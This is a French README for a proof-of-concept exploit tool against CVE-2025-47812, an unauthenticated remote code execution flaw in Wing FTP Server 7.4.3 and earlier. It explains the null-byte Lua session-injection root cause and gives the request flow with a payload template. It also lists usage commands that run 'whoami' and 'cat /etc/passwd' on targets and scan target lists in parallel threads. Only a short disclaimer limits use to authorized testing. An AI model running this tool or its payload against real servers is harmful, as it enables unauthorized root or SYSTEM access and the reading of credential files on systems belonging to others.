____  _______   ___   __ ____  __  ___ ____
    / __ \|__  /  | / / | / / __ \/  |/  //  _/
   / / / / /_ <| | / /| |/ / / / / /|_/ / / /
  / / /_/___/ /| |/ / |   / /_/ / /  / /_/ /
 /_____/____/ |___/  |_/  \____/_/  /_/____/

CVE-2025-47812 — Wing FTP Server <= 7.4.3 RCE non authentifié

Preuve de concept pour CVE-2025-47812, une vulnérabilité d'exécution de code à distance non authentifiée dans les versions de Wing FTP Server antérieures à 7.4.4.

Vue d'ensemble de la vulnérabilité

Champ	Détail
CVE	CVE-2025-47812
Affecté	Wing FTP Server <= 7.4.3
Type	Exécution de code à distance non authentifié
Privilèges	root (Linux) / SYSTEM (Windows)
Éditeur	wftpserver.com
Auteur original	Sheikh Mohammad Hasan alias 4m3rr0r
Modifié par	d3vn0mi

Cause racine

La fonction c_CheckUser() de Wing FTP Server tronque le nom d'utilisateur à un octet nul (%00) pour l'authentification, mais le nom d'utilisateur complet non nettoyé — incluant tout ce qui suit l'octet nul — est écrit dans un fichier de session Lua. Lorsqu'un point de terminaison authentifié, comme /dir.html, est accédé, le serveur exécute ce fichier de session, déclenchant le code Lua injecté avec des privilèges élevés.

Flux d'exploitation

1. POST /loginok.html
   username=anonymous%00]]<LUA_PAYLOAD>&password=

2. Server authenticates "anonymous" (truncated at NULL)
   but writes full payload into session file → returns UID cookie

3. GET /dir.html  (Cookie: UID=<extracted_uid>)
   Server loads session file → executes injected Lua → RCE

Installation

git clone https://github.com/d3vn0mi/cve_2025_471812_poc.git
cd cve_2025_471812_poc
pip install requests

Utilisation

Vérification rapide de la vulnérabilité

python3 exploit.py -u http://CIBLE

Exécuter une commande

python3 exploit.py -u http://CIBLE -c 'id'

Scanner plusieurs cibles depuis un fichier

python3 exploit.py -f cibles.txt -o vulnerables.txt -t 8

Options complètes

usage: exploit.py [-h] [-u URL] [-f FILE] [-c COMMAND] [-U USERNAME]
                  [-P PASSWORD] [-v] [-o OUTPUT] [-l LOG_FILE]
                  [-t THREADS] [--timeout TIMEOUT] [--retries RETRIES]
                  [--no-verify]

target:
  -u, --url URL           Single target URL (e.g. http://192.168.134.130)
  -f, --file FILE         File containing target URLs (one per line, # comments allowed)

exploit options:
  -c, --command COMMAND   Command to execute on the remote server (enables verbose output)
  -U, --username USERNAME Username for the exploit payload (default: anonymous)
  -P, --password PASSWORD Password for the exploit payload (default: empty)

output:
  -v, --verbose           Enable verbose / debug logging
  -o, --output OUTPUT     Save vulnerable URLs to this file
  -l, --log-file LOG_FILE Write detailed log to this file

network:
  -t, --threads THREADS   Concurrent threads for multi-target scans (default: 1)
  --timeout TIMEOUT       HTTP request timeout in seconds (default: 15)
  --retries RETRIES       Number of retries on connection failure (default: 2)
  --no-verify             Disable SSL certificate verification

Exemples

# Vérifier une cible unique
python3 exploit.py -u http://192.168.1.10

# Exécuter 'whoami' et voir la sortie complète
python3 exploit.py -u http://192.168.1.10 -c 'whoami'

# Scanner une liste avec 8 threads, tout journaliser dans un fichier
python3 exploit.py -f cibles.txt -t 8 -l scan.log -o vuln.txt

# Utiliser des identifiants personnalisés avec vérification SSL désactivée
python3 exploit.py -u https://10.0.0.5 -U admin -P secret -c 'cat /etc/passwd' --no-verify

# Mode verbeux pour le débogage
python3 exploit.py -u http://192.168.1.10 -v

Fonctionnalités

• Journalisation structurée — Sortie console colorée (DEBUG/INFO/WARN/ERROR) + journalisation facultative dans un fichier via --log-file
• Scan multi-threadé — Analyse parallèle des cibles avec -t pour les listes de cibles volumineuses
• Nouvelles tentatives avec backoff — Backoff exponentiel automatique en cas d'échec réseau (configurable avec --retries)
• Flexibilité SSL — --no-verify pour les certificats auto-signés
• Scan par lots — Les fichiers de cibles prennent en charge les commentaires # et la déduplication automatique
• Sortie propre — Le mode de vérification de vulnérabilité donne un résultat simple VULNÉRABLE / NON VULNÉRABLE ; -c affiche la sortie complète de la commande

Avertissement

Cet outil est fourni uniquement à des fins de test de sécurité autorisé et d'éducation. Utilisez-le uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite de tester. L'accès non autorisé aux systèmes informatiques est illégal. Les auteurs ne sont pas responsables de toute utilisation abusive ou des dommages causés par cet outil.

Crédits

• Exploit original par 4m3rr0r
• Modifié et amélioré par d3vn0mi